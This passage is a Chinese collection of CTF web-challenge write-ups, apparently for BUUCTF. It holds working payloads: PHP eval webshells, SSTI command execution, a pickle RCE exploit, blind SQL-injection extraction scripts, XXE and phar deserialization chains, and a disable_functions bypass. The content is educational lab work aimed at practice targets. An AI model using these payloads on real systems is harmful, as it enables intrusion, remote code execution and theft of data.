$filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo 'source_code'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }看到题目将敏感字符串替换为空，肯定是反序列化字符串逃逸，唉，每次这种题目，我小小的脑瓜子不转个一两个小时根本构造不出来。先去phpinfo看一下看到extract($_POST)，意味着可以变量覆盖，可以传的参数_SESSION[user]，_SESSION[function]我们需要base64_decode($userinfo['img'])=d0g3_f1ag.php，也就是$userinfo['img']=ZDBnM19mMWFnLnBocA==，但没法控制img参数，所以要通过反序列化字符串逃逸来达到想要的结果。class _SESSION{ public $user = 'flagflagflagflagflagflag'; public $function = 'x";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=='; } $p=new _SESSION(); echo serialize($p); $serialize_info = filter(serialize($p)); echo "\n"; echo $serialize_info;这样在经过替换后吃掉了function的值，成功将img的值修改成了ZDBnM19mMWFnLnBocA==，但此时只有两个参数，而题目有个，所以还要加一个class _SESSION{ public $user = 'flagflagflagflagflagflag'; public $function = 'x";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}'; } $p=new _SESSION(); echo serialize($p); $serialize_info = filter(serialize($p)); echo "\n"; echo $serialize_info;_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=x";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=x";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}还要一种payload_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}这样序列化后经过替换结果为"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"[0CTF 2016]piapiapia又是php反序列化字符串逃逸~开局一个登陆框，没有注入，尝试访问register.php，发现可以，注册后登陆，可以填写信息，查看信息。其实题目源码泄露，www.zip即可下载源码。审计后发现以下关键代码//class.php public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string)//profile.php $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo']));//update.php if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname');我们的最终目的是要通过file_get_contents来读取config.php获得flag，而想让photo=config.php需要通过php反序列化字符串逃逸来完成。首先nickname的长度限制用数组绕过，然后需要逃逸的字符是";}s:5:"photo";s:10:"config.php";}(因为nickname为数组了，所以要加一个})，共34个，一个where替换成hacker会多出一个字符，也就是要34个where解密得到flag[WesternCTF2018]shrineimport flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)模板注入，注入点在/shrine/{{}}config中应该有flag，但没法直接读取config可以先读取一波当前位置的全部全局变量/shrine/{{url_for.__globals__}}发现有current_app查看current_app的config即可得到flag/shrine/{{url_for.__globals__['current_app'].config}}[SWPU2019]Web1sql注入，注入点在广告名处而不是id处，并且有22个字段。。。过滤了order by，可用group by代替1'group/**/by/**/22,'1-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22过滤了information，参考这里，可以用sys.schema_auto_increment_columns或者schema_table_statistics_with_buffer来代替information_schema.tables，但buu上不行，只能无列名注入不过mysql.innodb_table_stats倒是可以-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22无列名注入如下图所示查列得到flag//将user表的原本的3列名字变成了1,2,3，将第3列别名为b，然后查询b列 -1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22这里有几列可以慢慢试过去，不对会报错，而flag在哪列同样一个个试过去[WUSTCTF2020]朴实无华robots.txt里看一下，果然有东西fAke_f1agggg.php，虽然是假的flag，但响应头暗藏玄机<?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__file__); //level 1 if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好. "; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴. "; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥. "; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } ?> 第一层intval绕过很好绕，科学计数法就行num=2010e2第二层有点难搞，因为是弱比较所以'0e12345'和'0e11111'这种是相等的，也就是要找一个0e开头的数，md5后也是0e开头。(我自己没搜到，太菜了。。。)md5=0e215962017第三层就简单了，${IFS}代替空格，tac代替cat，直接读flagget_flag=tac${IFS}f*[网鼎杯 2020 朱雀组]Nmap又是nmap，跟之前[BUUCTF 2018]Online Tool这题很像，直接用那个payload试试看' <?php @eval($_POST["cmd"]);?> -oG shell.php '发现过滤了php，改用短标签和phtml后缀' <?=@eval($_POST["cmd"]);?> -oG shell.phtml '访问shell.phtml，发现成功写入，直接读flag[MRCTF2020]PYWebsite打开网页源码发现flag.php，但没有flag尝试加个xff头就这？[极客大挑战 2019]FinalSQL根据题目，盲注没错了对照着写了个二分法的脚本import requests url = 'http://c4eb39fc-5e90-4165-9a11-5d9f7513cce5.node3.buuoj.cn/search.php' flag = '' payload = { 'id':'' } for i in range(1,300): left = 1 right = 127 mid=int((left+right)/2) while(left<right): #payload['id'] = '1^(ascii(substr(database(),%d,1))<%d)'%(i,mid) #payload['id'] = '1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema="geek")),%d,1))<%d)'%(i,mid) #payload['id'] = '1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="F1naI1y")),%d,1))<%d)'%(i,mid) payload['id'] = '1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)'%(i,mid) r = requests.get(url=url,params=payload) if 'NO' in r.text: left=mid+1 else: right=mid mid=int((left+right)/2) flag+=chr(mid-1) print(flag)这题flag放的地方有点坑，不在Flaaaaag表中，而在F1naI1y表的password中，并且这个password的值还巨多，这我要是没用二分法估计得跑半小时。[NPUCTF2020]ReadlezPHPctrl+u发现time.php<?php #error_reporting(0); class HelloPhp { public $a; public $b; public function __construct(){ $this->a = "Y-m-d h:i:s"; $this->b = "date"; } public function __destruct(){ $a = $this->a; $b = $this->b; echo $b($a); } } $c = new HelloPhp; if(isset($_GET['source'])) { highlight_file(__FILE__); die(0); } @$ppp = unserialize($_GET["data"]);尝试反序列化命令执行，发现system被禁了，eval也不行，assert到是可以，查看phpinfo发现flag?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}感觉这题挺没意思的[BJDCTF2020]EasySearch源码泄露，index.php.swp<?php ob_start(); function get_hash(){ $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times $content = uniqid().$random; return sha1($content); } header("Content-Type: text/html;charset=utf-8"); *** if(isset($_POST['username']) and $_POST['username'] != '' ) { $admin = '6d0bc1'; if ( $admin == substr(md5($_POST['password']),0,6)) { echo " "; $file_shtml = "public/".get_hash().".shtml"; $shtml = fopen($file_shtml, "w") or die("Unable to open file!"); $text = ' *** *** Hello,'.$_POST['username'].' *** ***'; fwrite($shtml,$text); fclose($shtml); *** echo "[!] Header error ..."; } else { echo " "; }else { *** } *** 首先需要password经过md5加密后前几位等于6d0bc1import hashlib for i in range(1,10000000000): password = hashlib.md5(str(i).encode('utf-8')).hexdigest() if password[0:6]=='6d0bc1': print(i) print(password) breakpassword=2020666然后是SSI注入漏洞，这就涉及到我的知识盲区了服务器端包含注入SSI分析总结SSI是英文"Server Side Includes"的缩写，翻译成中文就是服务器端包含的意思。SSI是嵌入HTML页面中的指令，在页面被提供时由服务器进行运算，以对现有HTML页面增加动态生成的内容，而无须通过CGI程序提供其整个页面，或者使用其他动态技术。从技术角度上来说，SSI就是在HTML文件中，可以通过注释行调用的命令或指针，即允许通过在HTML页面注入脚本或远程执行任意代码。因为登入后抓包发现一个url，是shtml后缀，里面可能存在ssi指令，尝试ssi注入，注入点在username处使用exec指令，使用cmd作为参数执行服务器端命令： flag在上级目录username= 然后访问给的url就有flag[MRCTF2020]Ezpop<?php class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source." "; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }妈的，稍微难一点就屁都不会了，难顶~首先看一下要用到的魔术方法__get() //用于从不可访问（或不存在）的属性读取数据 __invoke() //当尝试将对象调用为函数时触发 __toString() //把类当作字符串使用时触发例：<?php class Name{ public $username = 'admin'; public $password = 100; public function __invoke(){ echo '你把对象当函数调用了！'; } } $p = new Name(); $p(); ?> //输出:你把对象当函数调用了！<?php class test{ public $username = 'xiaolong'; public function __get($a){ echo '你在调用不可达的属性或不存在的属性！'; } } $p = new test(); $p->password; ?> //输出:你在调用不可达的属性或不存在的属性！<?php class xiaolong{ public $test; public function __toString(){ return '你在把类当作字符串使用！'; } } $a = new xiaolong(); echo $a; ?> //输出:你在把类当作字符串使用！回到题目我们最终是要利用include来读取flag，这需要触发__invoke来实现，也就是要将一个对象当函数调用，正好在Test类中的__get方法中有这么两行代码public function __get($key){ $function = $this->p; return $function(); }那么只要 $this->p=new Modifier()就能触发__invoke了而想要触发__get就要访问不可达或不存在的属性，又正好在Show类中的__toString方法有这么一行public function __toString(){ return $this->str->source; }只要$this->str=new Test()，而Test类中没有source属性，这样就能触发__get了那要怎么触发__toString呢？Show还有这么两行public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source." "; }也就是只要$this->source=new Show()就能触发__toString了注意，因为Modifier类中有protected属性，序列化后有不可见字符%00，提交时要手动加上，或者直接把最终payload进行url编码<?php class Modifier { protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php'; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source." "; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } $a = new Test(); $a->p = new Modifier(); //触发__invoke $b = new Show(); $b->str = $a; //触发__get $c = new Show(); $c->source = $b; //触发__toString echo urlencode(serialize($c)); ?>?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D由MRCTF2020学习反序列化POP链[NCTF2019]True XML cookbook首先跟之前那题一样，可以任意文件读取，但没有flag,可以php伪协议读取doLogin.php，但没啥用<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php"> ]> <user><username>&goodies;</username><password>123456</password></user>接下来需要的是xxe打内网要读取/etc/host,查看存活主机然后???为什么跟wp不一样，ip地址呢？其实还有一个关键文件，/proc/net/arp(可能我后面爆破的原因，有这么多ip，一开始就一个10.0.212.28.xx，忘了是哪个。。。)然后爆破c端，找到flag，在10.0.212.11没搞懂/etc/host和/proc/net/arp的区别，希望有大佬能解答一下~[GYCTF2020]FlaskApp结合题目，测试后发现在解密处存在ssti，简单fuzz后发现过滤了flag,os,eval可以用如下命令读取app.py{{url_for.__globals__.__builtins__.open('app.py').read()}}发现黑名单black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] 可以字符串拼接来绕过{{url_for.__globals__['o'+'s']['pop'+'en']('ls /').read()}} e3t1cmxfZm9yLl9fZ2xvYmFsc19fWydvJysncyddWydwb3AnKydlbiddKCdscyAvJykucmVhZCgpfX0=找到flag读取flag{{url_for.__globals__['o'+'s']['pop'+'en']('cat /this_is_the_fla'+'g.txt').read()}} e3t1cmxfZm9yLl9fZ2xvYmFsc19fWydvJysncyddWydwb3AnKydlbiddKCdjYXQgL3RoaXNfaXNfdGhlX2ZsYScrJ2cudHh0JykucmVhZCgpfX0=[CISCN2019 华北赛区 Day1 Web2]ikun题目要求买lv6，翻了几页没看见，写个脚本跑一下import requests url = 'http://afdaf66c-c95a-4d7f-80da-6d149e896787.node3.buuoj.cn/shop' payload = { 'page' : 1 } for i in range(1,200): payload['page'] = i r = requests.get(url,params=payload) if 'lv6.png' in r.text: print(i) break最终发现在181页，但发现钱不够，抓包将折扣改成0.000000008然后提示要admin，再仔细看了下，http头中有jwt，放到这个网站看一下，是hs256加密，用c-jwt-cracker破解key构造jwt替换jwt后发现成功成为admin，在网页源码中发现www.zip，下载然后就是python反序列化，没接触过，研究完后再回来做~更新利用点在admin.pyimport tornado.web from sshop.base import BaseHandler import pickle import urllib class AdminHandler(BaseHandler): @tornado.web.authenticated def get(self, *args, **kwargs): if self.current_user == "admin": return self.render('form.html', res='This is Black Technology!', member=0) else: return self.render('no_ass.html') @tornado.web.authenticated def post(self, *args, **kwargs): try: become = self.get_argument('become') p = pickle.loads(urllib.unquote(become)) return self.render('form.html', res=p, member=1) except: return self.render('form.html', res='This is Black Technology!', member=0) post接收一个参数become，在勇pickle进行反序列化后返回渲染模板因此这里可以用pickl的反序列化漏洞expimport pickle import urllib class A(object): def __reduce__(self): return (eval, ("__import__('os').popen('cat /flag.txt').read()",)) a = pickle.dumps(A()) a = urllib.quote(a) print(a)注意要用py2抓包修改become的值[CISCN2019 华东南赛区]Web11题目页面中的Build With Smarty 是重点，说明用了smarty模板，猜测是模板注入题目会检测ip，加个xff头发现注入点在xff头没接触过smarty，搜一下语法，发现可以执行php函数smarty中调用php内置函数读取flagX-Forwarded-For: {'cat /flag'|system}看到别的师傅写的一些smarty常用payload{if phpinfo()}{/if} {if system('ls')}{/if} { readfile('/flag') } {if show_source('/flag')}{/if} {if system('cat ../../../flag')}{/if} [CISCN2019 华北赛区 Day1 Web1]Dropbox登陆后随便上传一个图片，发现可以下载和删除，猜测可以任意文件下载抓包，filename改为/etc/passwd但没法下载其他文件，看wp才知道要chdir() 实现目录跳跃filename=../../index.php可以下载class.php,delete.php,download.php,index.php,upload.php不过有用的就class.php和delete.php//class.php <?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct() { global $db; $this->db = $db; } public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; } public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; } public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; } public function __destruct() { $this->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = ' '; $table .= ' '; foreach ($this->funcs as $func) { $table .= ' ' . htmlentities($func) . ' '; } $table .= ' Opt '; $table .= ' '; foreach ($this->results as $filename => $result) { $table .= ' '; foreach ($result as $func => $value) { $table .= ' ' . htmlentities($value) . ' '; } $table .= ' 涓嬭浇 / 鍒犻櫎 '; $table .= ' '; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); } } ?>//delete.php <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>有几个关键点User类中 public function __destruct() { $this->db->close();File类中 public function close() { return file_get_contents($this->filename);FileList类中 public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } }__call:会在对象调用不存在的方法时，自动执行，第一个参数为调用的方法名所以思路为:当db的值为FileList的一个对象时，执行close()方法，但FileList中没有close()，于是触发__call('close()')方法，使得$file->close()，进而$results=file_get_contents($filename)，最终FileList->__destruct()输出$resultpayload<?php class User{ public $db; } class File{ public $filename = '/flag.txt'; } class FileList{ private $files; public function __construct(){ $this->files = array(new File()); } } $a = new User(); $b = new FileList(); $a->db = $b; $phar = new Phar('phar.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->setMetadata($a); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>上传时将类型为image/gif，然后删除时filename=phar://phar.gif其实做完了还是不太懂，再也不想看到php了。。。多放几篇wphttps://www.jianshu.com/p/5b91e0b7f3achttps://blog.csdn.net/weixin_44077544/article/details/102844554https://blog.csdn.net/weixin_43345082/article/details/100102082[BSidesCF 2019]Futurella查看网页源码就有flag我直接黑人问号？？？[GWCTF 2019]枯燥的抽奖(打不开)题目容器新建不了，以后再说[MRCTF2020]套娃<!-- //1st $query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE!'); } if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~"; }php变量名含有特殊字符时会转换为下划线，正则可用换行绕过?b.u.p.t=23333%0a得到secrettw.php添加Client-ip:127.0.0.1，(这里用X-Forwarded-For不行)然后是jsfuck，直接放控制台运行就行，提示要post一个Merak<?php error_reporting(0); include 'takeip.php'; ini_set('open_basedir','.'); include 'flag.php'; if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); } function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!'." "; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>todat is a happy day用data协议写入，file反向解密一下re = 'flag.php' flag = '' for i in range(0,8): v = chr(ord(re[i])-i*2) flag = flag+v print(flag)最终payload?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI= Client-ip:127.0.0.1[极客大挑战 2019]RCE ME<?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); } // ?>可以用URL编码取反绕过正则<?php var_dump(urlencode(~'phpinfo')); ?>?code=(~%8F%97%8F%96%91%99%90)();一句话木马连接蚁剑<?php var_dump(urlencode(~'eval($_POST["test"])')); var_dump(urlencode(~'assert')); ?>?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);但是没法执行命令，无法读取flag，需要bypass disable_functionsbypass_disablefunc_via_LD_PRELOAD在/var/tmp/目录下上传bypass_disablefunc_x64.so文件和bypass_disablefunc.php文件，将bypass_disablefunc.php改为shell.php?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so或者蚁剑的插件也可以，但好像需要linux系统才行对了，还看到一种exp，不过完全看不懂?code=$_="`{{{"^"?<>/";;${$_}[_](${$_}[__]);&_=assert&__=执行的命令[WUSTCTF2020]颜值成绩查询盲注，用之前[极客大挑战 2019]FinalSQL的脚本就行了import requests import time url = 'http://3b4e1d96-f3b6-4922-970d-1573f11a1f27.node3.buuoj.cn/' flag = '' payload = { 'stunum':'' } for i in range(1,300): left = 1 right = 127 mid=int((left+right)/2) while(left<right): #payload['stunum'] = '1^(ascii(substr(database(),%d,1))<%d)#'%(i,mid) #payload['stunum'] = '1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema="ctf")),%d,1))<%d)#'%(i,mid) #payload['stunum'] = '1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="flag")),%d,1))<%d)#'%(i,mid) payload['stunum'] = '1^(ascii(substr((select(group_concat(value))from(flag)),%d,1))<%d)#'%(i,mid) r = requests.get(url=url,params=payload) time.sleep(0.001) if 'admin' in r.text: left=mid+1 else: right=mid mid=int((left+right)/2) flag+=chr(mid-1) print(flag)[BSidesCF 2019]Kookie添加Cookie:username=admin[FBCTF2019]RCEService提示要json格式尝试{"cmd":"ls"}发现可以，然后fuzz一下发现能ban的基本都ban了，看了wp，都是直接上源码？？？哪来的源码？虚空源码？<?php putenv('PATH=/home/rceservice/jail'); if (isset($_REQUEST['cmd'])) { $json = $_REQUEST['cmd']; if (!is_string($json)) { echo 'Hacking attempt detected '; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo 'Hacking attempt detected '; } else { echo 'Attempting to run command: '; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo ' '; } } ?> 猜测换行绕过，但构造了半天没成功?cmd={%0a"cmd":"ls%20/"%0a}没搞懂为什么要两个换行符，为什么一个就不行?cmd={%0a"cmd":"/bin/cat%20/home/rceservice/flag"%0a}putenv('PATH=/home/rceservice/jail');设置了环境变量，要用绝对路径，同时当前path没有cat，要用绝对路径，也就是/bin/cat还有一种解法是回溯法p神讲解的文章PHP利用PCRE回溯次数限制绕过某些安全限制import requests url = 'http://b063435e-bae1-4103-853c-103ae735a894.node3.buuoj.cn/' payload = { 'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","xiaolong":"'+'a'*1000000+'"}' } r = requests.post(url=url,data=payload) print(r.text)[CISCN2019 总决赛 Day2 Web1]Easywebrobrots.txt提示有备份文件泄露，测试后发现是image.php.bak<﻿?php include "config.php"; $id=isset($_GET["id"])?$_GET["id"]:"1"; $path=isset($_GET["path"])?$_GET["path"]:""; $id=addslashes($id); $path=addslashes($path); $id=str_replace(array("\\0","%00","\\'","'"),"",$id); $path=str_replace(array("\\0","%00","\\'","'"),"",$path); $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'"); $row=mysqli_fetch_array($result,MYSQLI_ASSOC); $path="./" . $row["path"]; header("Content-Type: image/jpeg"); readfile($path);主要是这里$id=addslashes($id); $path=addslashes($path); $id=str_replace(array("\\0","%00","\\'","'"),"",$id); $path=str_replace(array("\\0","%00","\\'","'"),"",$path);如果输入\0,，经过addslashes转义后变成\\0，然后把\0替换为空，留下了\，就可以转义后面的'payload类似于?id=\\0&path= or id=1%23直接python脚本跑import requests url = 'http://46973624-2d57-4f8d-84c7-b4e2ae35bbd4.node3.buuoj.cn//image.php?id=\\0&path= or id=' flag = '' for i in range(1,300): left = 1 right = 127 mid=int((left+right)/2) while(left<right): #payload = 'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),{},1))>{},1,0)%23'.format(i,mid) payload = 'if(ascii(substr((select password from users ),{},1))>{},1,0)%23'.format(i,mid) r = requests.get(url=url+payload) if 'FIF' in r.text: left=mid+1 else: right=mid mid=int((left+right)/2) flag+=chr(mid) print(flag)拿到密码后登陆，上传文件，发现这一操作写入到了日志文件中，且告诉了日志文件位置，所以可以往日志文件中写马，也就是文件名就是马因为不能出现php，所以短标签绕过<?= eval($_POST['cmd']);?>然后蚁剑连接，拿flag[Zer0pts2020]Can you guess it?<?php include 'config.php'; // FLAG is defined in config.php if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("I don't know what you are thinking, but I won't let you read it :)"); } if (isset($_GET['source'])) { highlight_file(basename($_SERVER['PHP_SELF'])); exit(); } $secret = bin2hex(random_bytes(64)); if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if (hash_equals($secret, $guess)) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.'; } } ?>下面的字符串比较是幌子，其实是要利用上面的basename函数$_SERVER['PHP_SELF']：获取当前页面地址basename() ：返回路径中的文件名部分其中basename函数它会去掉文件名开头的非ASCII值<?php function check($str){ return preg_match('/config\.php\/*$/i', $str); } for($i=0;$i<255;$i++){ $str="/index.php/config.php/".chr($i); if(!check($str)){ echo $i.":".urlencode(chr($i)).":".basename($str); echo "\n"; } }而这个正则是匹配尾部为config.php/，所以构造如下payload既能绕过正则，也满足了basename/index.php/config.php/%81?source[CISCN2019 华北赛区 Day1 